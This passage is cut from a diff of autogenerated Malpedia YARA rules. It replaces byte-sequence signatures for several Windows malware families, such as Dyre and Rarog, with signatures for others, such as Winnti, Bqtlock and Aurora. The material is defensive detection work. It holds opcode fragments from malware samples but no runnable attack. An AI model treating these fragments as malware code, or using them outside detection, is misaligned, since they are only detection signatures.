8b7d10 83e810 8bf0 a5 a5 } - $sequence_3 = { 50 8d4de4 e8???????? 84c0 7418 8d4de4 e8???????? } - $sequence_4 = { c6451054 c6451172 c6451261 c645136e c6451473 c6451566 } - $sequence_5 = { 3d01010000 7d0d 8a4c181c 8888b82b4200 40 ebe9 } - $sequence_6 = { 53 e8???????? 0345fc 8b4df0 8945f8 8b45f4 } - $sequence_7 = { 50 e8???????? 59 50 ff7604 e8???????? 83c41c } - $sequence_8 = { 33cb 030e 8d840878a46ad7 50 e8???????? 0345fc } - $sequence_9 = { 83c040 50 e8???????? 83c40c 8bc6 5e c3 } + $sequence_0 = { c9 c3 8b45fc ff7018 ff750c e8???????? 59 } + $sequence_1 = { 33c4 89842488000000 8b8424a0000000 8b8c2494000000 53 8b9c24a0000000 55 } + $sequence_2 = { e8???????? 8bcf 85c0 7507 e8???????? ebb0 6834020000 } + $sequence_3 = { 33c9 83e701 894c2418 897c2414 a900000004 0f8596000000 c744241801030000 } + $sequence_4 = { 8bc6 c1f805 8bfe 53 8d1c8500c40e10 8b03 83e71f } + $sequence_5 = { 8d04454c950e10 8bc8 2bce 6a03 d1f9 68???????? 2bd9 } + $sequence_6 = { 83c420 e9???????? 8b96bc000000 8b8290000000 3bc5 7514 6a0a } + $sequence_7 = { 8d85f8feffff 6a5c 50 e8???????? 59 59 3bc3 } + $sequence_8 = { 8b4a10 03c0 80e108 03c0 0fb6d1 83c404 03c0 } + $sequence_9 = { 8d8304010000 8bd6 2bd0 b910000000 89542420 eb04 8b542420 } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 2065408 } -rule MALPEDIA_Win_Dyre_Auto : FILE +rule MALPEDIA_Win_Unidentified_100_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "71a1cda5-bbc1-5437-8a4b-d424fa7e7598" + id = "46aeb4db-19b2-5469-a0eb-5c4c4a4bf0ff" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dyre_auto.yar#L1-L228" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_100" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_100_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "af535d590e4b9fb30bcfd8419a9c576a8fa6a184366164dc5fc0ce71c5e82236" + logic_hash = "47aac890cf0ac352426261b33fabc1042e2b5071c52a28784cdba5465d5e39a5" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -115378,32 +115314,19 @@ rule MALPEDIA_Win_Dyre_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6800004000 6800000400 ff15???????? a3???????? 85c0 } - $sequence_1 = { 747c 8d4602 50 e8???????? 8bf8 } - $sequence_2 = { 33c8 894304 895308 894b10 c745ec10000000 837df400 0f84f7000000 } - $sequence_3 = { 59 85c0 740d 8d4801 3b4d14 } - $sequence_4 = { 742e 53 8bc7 e8???????? 8bd8 } - $sequence_5 = { 81ec14010000 8364240400 53 56 57 } - $sequence_6 = { 59 83f8ff 7549 33ff 83f8ff 7542 } - $sequence_7 = { 33d2 f7f3 3bd6 7409 } - $sequence_8 = { 4883ec20 488bd9 b910270000 ff15???????? 488bcb } - $sequence_9 = { 488bcd ff15???????? 488b5c2460 8bc7 4883c440 } - $sequence_10 = { 4883ec20 488b0d???????? 33d2 ff15???????? } - $sequence_11 = { 488b4c2458 488d442450 8d5301 4533c9 4533c0 4889442420 895c2450 } - $sequence_12 = { 488bd9 83fa04 763b 0f1f00 0fb74b02 ff15???????? } - $sequence_13 = { 4883ec20 448b4124 33ff 488bf2 428d04c500000000 488bd9 014120 } - $sequence_14 = { 488bcb ff15???????? ffc7 034310 8d740627 413bfc 7cdf } - $sequence_15 = { 488bcd 897c2470 48897c2420 ff15???????? 85c0 } - $sequence_16 = { 668b1401 668910 83c002 4e 75f3 } - $sequence_17 = { 85db 7416 57 8bfa 2bfe 90 } - $sequence_18 = { 8bd8 56 8bf1 85db 7416 } - $sequence_19 = { 50 a1???????? 6a08 50 ff15???????? 8bd8 } - $sequence_20 = { ff15???????? 8bf0 8d85d4fdffff 50 } - $sequence_21 = { 90 ff15???????? 8a0437 8806 46 4b } - $sequence_22 = { 833d????????00 751b 6a00 6800004000 6800000400 } + $sequence_0 = { 0fb6442420 2580000000 88442402 0fb6442420 } + $sequence_1 = { 488b542420 88040a 6b05????????03 0fb60c24 03c1 4898 488b4c2420 } + $sequence_2 = { 8d0c8d03000000 4863c9 488b542448 4c8b442440 410fb60400 88040a } + $sequence_3 = { 488d9424a0070000 488d8c24a0050000 e8???????? 8b442434 ffc0 eb3d } + $sequence_4 = { 3da5000000 751b 48630424 488b4c2478 c6040146 48630424 } + $sequence_5 = { 488b8c24c0000000 4c8b442468 420fb60c01 e8???????? 0fb6c0 8b4c242c 33c8 } + $sequence_6 = { 488bf1 b932000000 f3a4 488d842402030000 } + $sequence_7 = { 488b8c24c0000000 4c8b842480000000 420fb60c01 e8???????? 0fb6c0 8b4c2438 33c8 } + $sequence_8 = { 742d 4c8d4c2460 41b802000000 488d542464 488b4c2448 ff15???????? 8b442460 } + $sequence_9 = { c744841001000000 e9???????? 48630424 488b4c2470 0fb60401 83f82b 751e } condition: - 7 of them and filesize < 590848 + 7 of them and filesize < 372736 } rule MALPEDIA_Win_Zloader_Auto : FILE { @@ -115482,18 +115405,18 @@ rule MALPEDIA_Win_Zloader_Auto : FILE condition: 7 of them and filesize < 5360640 } -rule MALPEDIA_Win_Miancha_Auto : FILE +rule MALPEDIA_Win_Orpcbackdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fc1eda3c-bd5f-5571-91d7-7aefaea33797" + id = "cd974481-8117-5632-aade-5ef10c39e2d5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miancha_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orpcbackdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orpcbackdoor_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "f932de22bd95ab60efbbe4e694e46f3915e7f38800c91edc1e731744ddf1fb94" + logic_hash = "dd9da45feb732da3d95212bca52a2ed758b546277cb96d095b747d85f59e36f4" score = 75 quality = 75 tags = "FILE" @@ -115507,32 +115430,32 @@ rule MALPEDIA_Win_Miancha_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c744242000000000 ff15???????? 50 ff15???????? 8bf0 85f6 } - $sequence_1 = { 56 8b35???????? 6a02 6a00 68???????? } - $sequence_2 = { ffd6 85c0 741a 837c241800 7413 } - $sequence_3 = { 68???????? c744242000000000 ff15???????? 50 ff15???????? 8bf0 85f6 } - $sequence_4 = { 8b0d???????? 895008 8a15???????? 89480c } - $sequence_5 = { 52 6803000080 ff15???????? 85c0 741f } - $sequence_6 = { 8910 8b15???????? 894804 8b0d???????? 895008 8a15???????? 89480c } - $sequence_7 = { 85c0 741a 837c241800 7413 } - $sequence_8 = { ff15???????? 8bf0 85f6 7412 8d542418 } - $sequence_9 = { 40 50 56 8b35???????? 6a02 6a00 } + $sequence_0 = { 8d45a4 50 e8???????? 59 6a0b 59 8bf0 } + $sequence_1 = { 8b4df0 e8???????? 8945d8 33c0 8b4de4 83c101 } + $sequence_2 = { e8???????? 8d8d18ebfeff e8???????? 8d8d48f4feff e8???????? 8d8d30f4feff e8???????? } + $sequence_3 = { 50 8d8de8ecffff e8???????? ff30 8d8d10e9ffff e8???????? } + $sequence_4 = { 50 e8???????? 59 8845d4 8d45d0 50 8d45f8 } + $sequence_5 = { 8b85ccfdffff 8b00 ffb5ccfdffff ff5024 89859cfdffff 8d8d50fdffff e8???????? } + $sequence_6 = { 750a 68???????? e8???????? 8b45f0 833822 750a 68???????? } + $sequence_7 = { 817df8ff0f0000 7649 8b45f0 ff704c 68ff0f0000 6a01 ff7508 } + $sequence_8 = { a1???????? 33c5 8945fc 894df0 8365e800 8b45f0 8b00 } + $sequence_9 = { eb9e 8d8508f8feff 50 8d8da0fbfeff e8???????? 6a01 8d8da8fcfeff } condition: - 7 of them and filesize < 376832 + 7 of them and filesize < 918528 } -rule MALPEDIA_Win_Graphdrop_Auto : FILE +rule MALPEDIA_Win_Winnti_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "237c51dc-e941-5d7c-b6d3-2562536d7e1c" + id = "1351f8e3-6ca5-5a13-9678-9210d9ddffd2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphdrop_auto.yar#L1-L106" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winnti_auto.yar#L1-L242" license_url = "N/A" - logic_hash = "0e6707eb4bbec74f1d6caa5a7e229009514fcba8c763f4b645f99a1b6c93d629" + logic_hash = "09cc054785791e781076cf9631fef38d07059412817f6de2934895bd3887e46e" score = 75 quality = 73 tags = "FILE" @@ -115546,32 +115469,46 @@ rule MALPEDIA_Win_Graphdrop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4155 0f77 53 90 } - $sequence_1 = { 4155 49c7c501000000 4150 4152 415a 4158 } - $sequence_2 = { 0f77 4157 90 415f } - $sequence_3 = { 0f77 0f77 415d 90 } - $sequence_4 = { 50 58 5a 49ffc9 } - $sequence_5 = { 0f77 0f77 5b 0f77 } - $sequence_6 = { 90 0f77 415c e9???????? } - $sequence_7 = { 49c7c501000000 4150 4152 415a } - $sequence_8 = { 4150 4152 415a 4158 } - $sequence_9 = { 0f77 4155 0f77 4150 } + $sequence_0 = { 50 56 ff15???????? 85c0 7e79 8d4c2418 8d942484000000 } + $sequence_1 = { 8dbc24c4000000 8d942410010000 f3ab 668b8424740b0000 bf???????? 66898424d2050000 83c9ff } + $sequence_2 = { 8b734c 03f8 8bc1 c1e902 f3a5 8bc8 } + $sequence_3 = { f3ab 8b8c2498010000 c644242004 51 c644242501 ff15???????? } + $sequence_4 = { ffd7 68???????? 68???????? 89460c } + $sequence_5 = { 85c0 751a 8bcb 8d142e 2bce 51 } + $sequence_6 = { e8???????? 8b4c2418 50 6800040000 } + $sequence_7 = { 8bfa 83c9ff f2ae 8b54242c } + $sequence_8 = { 0f849a000000 4c8d5b2e 660f1f440000 410fb70b 458bca } + $sequence_9 = { 8b4b1c 4803cf 8b0491 4803c7 488b5c2410 } + $sequence_10 = { 4585d2 759d 488b7db7 458bd9 44894d97 } + $sequence_11 = { 4053 4883ec40 48c74424580a000000 488b442458 4c8d442458 } + $sequence_12 = { 4863c9 e8???????? 488bd8 4c8d443710 4983781810 7203 4d8b00 } + $sequence_13 = { 75f1 408830 488d542450 4038742450 } + $sequence_14 = { 90 488bd0 488d4b28 e8???????? 90 48837dd710 7209 } + $sequence_15 = { 4863d9 4c8be3 49c1fc05 4c8d355a4f0a00 83e31f 486bdb58 } + $sequence_16 = { 48c784248800000000000000 488d942488000000 488d4c2428 e8???????? 488d05e7700100 4889442428 488d1553d80100 } + $sequence_17 = { 7517 488d0513ac0a00 488b4c2430 483bc8 7406 e8???????? 90 } + $sequence_18 = { 7511 33c0 4881c4e0000000 415f 415e } + $sequence_19 = { 4889742430 488b442440 48894310 48894b18 48897c2448 } + $sequence_20 = { 741e 837d6001 7511 488d5568 ff15???????? 488b8d00010000 ff15???????? } + $sequence_21 = { 48897c2478 488b8c2400010000 4885c9 741f 4183fe01 7513 } + $sequence_22 = { 8bd8 85c0 7848 488b8c24b0000000 } + $sequence_23 = { 488d0527eb0a00 eb04 4883c010 4883c428 c3 4883ec28 e8???????? } condition: - 7 of them and filesize < 4186112 + 7 of them and filesize < 1581056 } -rule MALPEDIA_Win_Reedbed_Auto : FILE +rule MALPEDIA_Win_Unidentified_037_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "74769a46-8253-5d47-b255-0c21b0e137a7" + id = "96c11217-51d7-5f4b-bf36-23d830fdb069" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reedbed" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reedbed_auto.yar#L1-L143" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_037_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "9739a2569b16e57b90481814e6cc540a2c3a0da3aecf12af2fc73ab886c25305" + logic_hash = "8c50fe3091c6eb5a168263d841c7329778565aaf5d56b9bbcef638ccc0102861" score = 75 quality = 75 tags = "FILE" @@ -115585,36 +115522,32 @@ rule MALPEDIA_Win_Reedbed_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c9 e8???????? 488b0d???????? 488981c2140000 } - $sequence_1 = { 33c9 ff15???????? 85c0 751e } - $sequence_2 = { 4885c9 7405 e8???????? 33c0 0f57c0 } - $sequence_3 = { eb19 488d15e3d10100 eb10 488d15cad10100 eb07 488d15b5d10100 4533c0 } - $sequence_4 = { 4c8d0d44e50000 b919000000 4c8d0534e50000 488d1531e50000 e8???????? } - $sequence_5 = { 488bd8 4885c0 7431 488bc8 ff15???????? 83f8ff } - $sequence_6 = { 8364244000 4c8d4c2440 baffff0000 c744242004000000 41b801000000 } - $sequence_7 = { 488b83a6140000 4c8974080e 4883c13f 483bcf 7ceb e8???????? 33c9 } - $sequence_8 = { c7450400000000 c7452400000000 488b8548010000 83780a00 } - $sequence_9 = { c7450400000000 c7452400000000 488b85a0010000 4883b8a614000000 } - $sequence_10 = { c7450400000000 83bd0801000000 7515 488d15ce130f00 } - $sequence_11 = { c7450400000000 ba01000000 b900003f00 e8???????? } - $sequence_12 = { c7450400000000 c7452400000000 488b8540010000 8b808c140000 } - $sequence_13 = { c7450400000000 837d0400 7534 488b8580010000 } + $sequence_0 = { fec8 8801 eb09 51 e8???????? 83c404 899ef4000000 } + $sequence_1 = { eb63 a802 7462 68???????? eb58 663d0900 7524 } + $sequence_2 = { b9ff010000 33c0 8dbc242e080000 f3ab 66ab 8d44242c 50 } + $sequence_3 = { 8b35???????? 3bf5 0f8439010000 8b0d???????? b8c12787cb 2bce f7e9 } + $sequence_4 = { e8???????? 68???????? 68???????? 6802000080 e8???????? e8???????? a1???????? } + $sequence_5 = { 51 52 e8???????? 8d85cce0ffff 56 50 } + $sequence_6 = { 885e40 895c2418 884e44 895e48 895e4c 895e50 } + $sequence_7 = { 897dcc 3bfe c645fc04 742f 68???????? 897704 c7470801000000 } + $sequence_8 = { 51 ff15???????? 8d94241c020000 6a00 } + $sequence_9 = { ff15???????? 56 bf01000000 ff15???????? 56 ff15???????? 8bc7 } condition: - 7 of them and filesize < 3760128 + 7 of them and filesize < 167936 } -rule MALPEDIA_Win_Rarog_Auto : FILE +rule MALPEDIA_Win_Bqtlock_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f5f8ab57-da39-59fd-96e2-5478facae854" + id = "bb5e42ac-0a96-533f-bdf8-f7363192cc82" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rarog_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bqtlock" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bqtlock_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "631ab74dfbbcce858a4c6605f35ed1c081c9a6b77767d5321714353e8fbb62e4" + logic_hash = "fe09c813bf2717fae94718806fa0772093be79bdfe9076451ef94ec757b5ff93" score = 75 quality = 75 tags = "FILE" @@ -115628,32 +115561,32 @@ rule MALPEDIA_Win_Rarog_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b8c246c030000 33cc e8???????? 8be5 5d c3 55 } - $sequence_1 = { 8d45b8 50 8d4d24 e8???????? 83781408 7202 8b00 } - $sequence_2 = { 89a504ffffff c741140f000000 895910 68???????? 8819 e8???????? e8???????? } - $sequence_3 = { 8bc8 8bdf c645fc01 e8???????? c645fc02 c70424???????? 50 } - $sequence_4 = { c645fc22 e8???????? 8bd8 8db5bcfbffff c645fc23 e8???????? 8bf8 } - $sequence_5 = { ffb510ffffff 8d8d48ffffff e8???????? 8d9d48ffffff e8???????? 8b8510ffffff } - $sequence_6 = { 8bc4 89a550ffffff 50 e8???????? 8b8d5cffffff c645fc17 } - $sequence_7 = { 884597 c645fc04 e8???????? 83ec1c } - $sequence_8 = { ff7518 8845bc ff7514 8d45b0 ff75bc ff75d0 50 } - $sequence_9 = { 83c40c 8d8dbcfbffff 51 8bc8 } + $sequence_0 = { 0f859b000000 8b08 e8???????? 6690 4c89e1 e8???????? 48c745e800000000 } + $sequence_1 = { 498d5508 4c89c1 4829d1 83e108 742f 498b5508 4839d0 } + $sequence_2 = { 488d540002 e8???????? 488b4ba0 4885c9 7405 e8???????? 488b4500 } + $sequence_3 = { 4d85c0 48895110 4889cb 0f95c0 31d2 894108 488d057fde0a00 } + $sequence_4 = { 4c89d9 ff5048 83f8ff 0f8451020000 4c8b5c2468 89c1 0fb6d0 } + $sequence_5 = { 4c8d742450 4531d2 4c894c2438 4c89e9 4c89742440 48c744244800000000 664489542450 } + $sequence_6 = { 488d4110 488901 4885d2 7505 4d85c0 7510 4531c9 } + $sequence_7 = { 4c8d0daa38fcff 488b4038 4c39c8 0f856d030000 4839f2 740b 4889f2 } + $sequence_8 = { b800000000 ba00000000 480f45542460 410f44c6 4889542460 4038f0 0f84fdfaffff } + $sequence_9 = { 4d85c0 0f8469fdffff e9???????? e8???????? 4889c3 ff542438 8b00 } condition: - 7 of them and filesize < 598016 + 7 of them and filesize < 4444160 } -rule MALPEDIA_Win_Ksl0T_Auto : FILE +rule MALPEDIA_Win_Meow_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "38d6ccea-2477-53a3-80c5-72d7cca1e17c" + id = "8ae50208-eda0-5ebd-a6a9-2e33c00b8273" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ksl0t_auto.yar#L1-L172" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meow" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meow_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "d56faacde84036ddaab537f194f3df4539ee4dbdadae9af8318bac8df1d8305a" + logic_hash = "bb1378303eade72e8b389282cb73ba0dc64a8fed8abbcfd4aff9fb59d7155dea" score = 75 quality = 75 tags = "FILE" @@ -115667,38 +115600,32 @@ rule MALPEDIA_Win_Ksl0T_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 44895c2440 897c2438 89542430 894c2428 89442420 488d15a8cb0000 } - $sequence_1 = { 4885c9 7405 e8???????? 488b8ba0000000 488d057f5c0000 483bc8 7405 } - $sequence_2 = { 48894c2408 4883ec18 c744240400000000 8b4c2404 8b442428 } - $sequence_3 = { c68424e700000020 889c24e8000000 888424e9000000 c68424ea0000002d c68424eb00000002 888c24ec000000 c64424381a } - $sequence_4 = { 83c008 898424f4080000 448b05???????? 49d1e0 } - $sequence_5 = { c644243331 c644243439 c644243539 884c2436 } - $sequence_6 = { c684248600000067 88942487000000 c684248800000031 c684248900000039 c684248a00000039 } - $sequence_7 = { 488b442450 8138a0000000 7470 833d????????00 7528 } - $sequence_8 = { 6800020000 57 8d95000d0000 52 } - $sequence_9 = { 888c24fd000000 c68424b000000012 888424b1000000 889c24b2000000 c68424b300000019 c68424b400000034 } - $sequence_10 = { 889c2451020000 c684245202000073 c68424530200006c c684245402000065 c68424550200006e c684245602000000 } - $sequence_11 = { 488d0d67a70000 e8???????? 488d1556aa0000 4c8d050f3d0000 488d4c38de 41b903000000 482bd1 } - $sequence_12 = { c68424eb00000018 c68424ec0000003a c68424ed00000031 c68424ee00000020 c68424ef00000039 c68424f000000030 } - $sequence_13 = { c68424f80200006c c68424f902000073 c68424fa02000074 c68424fb02000072 } - $sequence_14 = { 390424 7d46 48630c24 488b442428 440fbe0408 4863442420 33d2 } - $sequence_15 = { 33c9 66898d60060000 6806020000 51 8d9562060000 52 e8???????? } + $sequence_0 = { c68561ffffff16 c68562ffffff23 c68563ffffff12 c68564ffffff23 c68565ffffff70 c68566ffffff23 } + $sequence_1 = { 8985ccfdffff 85c0 0f8431020000 8b483c 03c8 0fb74118 3b85c4fdffff } + $sequence_2 = { 7431 b802000000 2bc1 0345f0 8945f0 8b45f0 99 } + $sequence_3 = { f7fb 88540df1 41 83f90a 72de 8d45f1 898588feffff } + $sequence_4 = { 33c5 8945fc 53 56 0f57c0 894de8 33f6 } + $sequence_5 = { 83c408 eb35 0fb605???????? b225 50 } + $sequence_6 = { 51 52 e8???????? 83c408 8b8c24f4050000 } + $sequence_7 = { 6849372c4f ba0f000000 8d1c3f e8???????? 83c408 68???????? } + $sequence_8 = { 7415 83e801 0f8595010000 c745e498024300 e9???????? 894de0 } + $sequence_9 = { 8bf7 8d7b75 0f1f4000 8a06 8d7601 0fb6c8 83e953 } condition: - 7 of them and filesize < 196608 + 7 of them and filesize < 492544 } -rule MALPEDIA_Win_Gspy_Auto : FILE +rule MALPEDIA_Win_Revenant_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cfcf9b9b-4569-5d0f-801d-7a4c03469882" + id = "d3da3715-670e-5d1a-8c9a-150b3eadfd7c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gspy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gspy_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revenant_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "5f09532c5cfce71a555d1d7b8c6eb07037f464516d07c67472b924dd34736987" + logic_hash = "bc25d04495c8de2d240671fc2471b933071b7fc14621d4283ee86183238cabeb" score = 75 quality = 75 tags = "FILE" @@ -115712,32 +115639,32 @@ rule MALPEDIA_Win_Gspy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 8d54241b 52 e8???????? 8944242c 8a442413 8b5c242c } - $sequence_1 = { 83c01c 50 55 56 ff15???????? 85c0 740a } - $sequence_2 = { 8a442412 3cff 7567 8b4d04 66c744241c3f2a c744241ec0744200 33c0 } - $sequence_3 = { c20400 8b0d???????? 56 33c0 57 8b3d???????? 3bcd } - $sequence_4 = { 85c0 757a 8b442414 8b08 8d542420 52 50 } - $sequence_5 = { 51 ff15???????? 85ff 7409 8d442418 e8???????? 83c304 } - $sequence_6 = { 8bf0 89742410 85f6 7449 33c0 897c2414 } - $sequence_7 = { 57 8bf8 32c0 88442407 85ff 0f8456010000 53 } - $sequence_8 = { 8b4124 ffd0 85c0 0f8464ffffff 8b442410 8b08 8b5108 } - $sequence_9 = { 7408 3c09 7c0e 3c0d 7f0a 83fa02 } + $sequence_0 = { 41803c1c20 488d4301 7405 4889c3 ebeb 8d4b01 } + $sequence_1 = { 7592 41c744240801000000 b801000000 4881c458010000 } + $sequence_2 = { 31c9 488b2d???????? 4989f0 ffd5 4c8b35???????? 85c0 7521 } + $sequence_3 = { 488b542420 e8???????? 4c8b442428 31d2 488b4c2420 e8???????? } + $sequence_4 = { e8???????? 4885c0 4889c6 7465 } + $sequence_5 = { 4531c9 440fb74738 488b4c2448 e8???????? 4885c0 } + $sequence_6 = { f3a4 488b7c2438 8b4c2448 f3aa } + $sequence_7 = { 4889f1 ff15???????? b940000000 89c5 4889ea } + $sequence_8 = { ff15???????? 488d0dc82d0000 31f6 89c2 e8???????? e9???????? 837f3c00 } + $sequence_9 = { 89c5 4889ea 896c244c ff15???????? 448b44244c } condition: - 7 of them and filesize < 421888 + 7 of them and filesize < 99328 } -rule MALPEDIA_Win_Darkshell_Auto : FILE +rule MALPEDIA_Win_Tollbooth_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0b6aea26-4d2d-5fe4-85ac-1a4c560ab87d" + id = "8571d861-b206-5a28-be63-4a9911495781" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkshell_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tollbooth" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tollbooth_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "adda1c8d572ab121457592ba92d94ead9ada07c703fcce314ed00968f454839e" + logic_hash = "55924965cb8b6210eb05a8f6dd43f9ad6aeae8d8c356e1fd55efb53f124eaedf" score = 75 quality = 75 tags = "FILE" @@ -115751,32 +115678,32 @@ rule MALPEDIA_Win_Darkshell_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c004 8901 83c014 8902 6681380b01 7511 } - $sequence_1 = { 8b442434 83c410 8b8088000000 85c0 } - $sequence_2 = { c744246044000000 ff15???????? 8be8 85ed 0f8494000000 8bbc2488000000 } - $sequence_3 = { 51 50 8b442420 50 ff15???????? } - $sequence_4 = { 8d7e08 f7c2feffffff 767a 668b07 8bc8 81e100f00000 6681f90030 } - $sequence_5 = { ffd6 5e c20400 8b15???????? } - $sequence_6 = { 8b35???????? 48 7457 48 742b } - $sequence_7 = { f3ab 66ab aa 8b442410 83c9ff 8b5008 33c0 } - $sequence_8 = { 5e c20400 8b15???????? 68???????? 52 } - $sequence_9 = { 03ca c1e80c 51 50 68???????? } + $sequence_0 = { e8???????? 4885c0 0f8428010000 488d7827 4883e7e0 488947f8 4c8b442420 } + $sequence_1 = { eb67 41baa0860100 413bea 7207 bb06000000 eb55 41ba10270000 } + $sequence_2 = { 7451 488b7d07 488b4dff 48894dbf 488bd7 482bd1 48c1fa04 } + $sequence_3 = { e9???????? 488d8ab8000000 e9???????? 488d8a68000000 e9???????? 488d8ad8000000 e9???????? } + $sequence_4 = { 4885ff 757e eb03 498bfe 807e2400 7413 e8???????? } + $sequence_5 = { 803902 7558 488b4908 488b5108 483b5110 7421 0fb645e0 } + $sequence_6 = { 48895c2450 48895c2460 48c74424680f000000 41b80a000000 488d1566350900 488d4c2450 e8???????? } + $sequence_7 = { 898b88000000 83bb8800000003 0f8286000000 8b8bf4160000 0fb69388000000 488b83f8160000 80ea03 } + $sequence_8 = { eb4d 488b8100010000 4885c0 7403 f0ff08 488d055d200300 48899900010000 } + $sequence_9 = { 83e11f 418bd7 81c101010000 41c1ef05 83e21f 418bc7 41894d7c } condition: - 7 of them and filesize < 344064 + 7 of them and filesize < 1907712 } -rule MALPEDIA_Win_Flawedgrace_Auto : FILE +rule MALPEDIA_Win_Aurora_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "38c84019-ad8d-570b-aa3f-e7acbb9a406b" + id = "cb6e66dc-0b30-52d7-abd2-183f4137b9af" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flawedgrace_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aurora_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "c317abd86b3ba4cb04110fcc0785854b53fd3854465be9cdca5825ec671c6c3a" + logic_hash = "736e5133ae609420c62fd5eab55e12d52695b2d2a929e74285f1e9a94056c135" score = 75 quality = 75 tags = "FILE" @@ -115790,32 +115717,32 @@ rule MALPEDIA_Win_Flawedgrace_Auto : FILE malpedia_sharing = 